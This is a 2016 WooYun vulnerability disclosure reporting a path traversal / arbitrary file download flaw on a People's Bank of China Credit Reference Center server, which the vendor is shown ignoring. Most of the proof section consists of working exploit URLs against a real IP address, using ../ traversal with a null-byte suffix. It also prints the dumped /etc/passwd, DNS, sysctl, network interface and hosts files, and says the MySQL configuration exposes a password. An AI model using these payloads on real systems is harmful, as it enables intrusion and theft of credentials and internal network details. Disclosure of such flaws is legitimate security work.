当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168797

漏洞标题:中国人民银行征信中心某平台任意文件下载

相关厂商:中国人民银行征信中心

漏洞作者: 艺术家

提交时间:2016-01-10 09:59

修复时间:2016-01-15 10:00

公开时间:2016-01-15 10:00

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-10: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

感觉是一个废弃的站,利用起来也繁琐

漏洞证明:

1.jpg


一、测试passwd文件,可以看出用户不少啊!
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/passwd%00.jpg&file=003.doc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
dkk:x:500:500:daikuanka:/home/dkk:/bin/bash
bak:x:501:501::/var/bak:/bin/bash
law:x:502:502::/home/law:/bin/bash
ftpuser:x:503:503::/opt/ftp:/bin/bash
二、查看DNS
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/resolv.conf%00.jpg&file=003.doc
nameserver 210.73.64.1
三、查看mysql配置文件,得到路径、password敏感信息
/etc/my.cnf
四、查看服务器内核信息
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/sysctl.conf%00.jpg&file=003.doc
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and
# sysctl.conf(5) for more details.
# Controls IP packet forwarding
net.ipv4.ip_forward = 0
# Controls source route verification
net.ipv4.conf.default.rp_filter = 1
# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
五 查看网卡信息,得到是在内网
http://210.73.81.145/downfile.php?dir=../../../../../../../../../..//etc/sysconfig/network-scripts/ifcfg-eth0%00.jpg&file=003.doc'

DEVICE=eth0
ONBOOT=yes
BOOTPROTO=static
IPADDR=192.168.100.145
NETMASK=255.255.255.0
GATEWAY=192.168.100.254
HWADDR=00:50:56:99:40:ef


六.HOST信息
http://210.73.81.145/downfile.php?dir=../../../../../../../../../../etc/hostsp%00.jpg&file=003.doc
#127.0.0.1 DKK DKK.localadmin.localhost
#for sendmail
#127.0.0.1 DKK bj.pbc.gov.cn
127.0.0.1 DKK localhost.localdomain localhost
nameserver 210.73.64.1

修复方案:

版权声明:转载请注明来源 艺术家@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-15 10:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无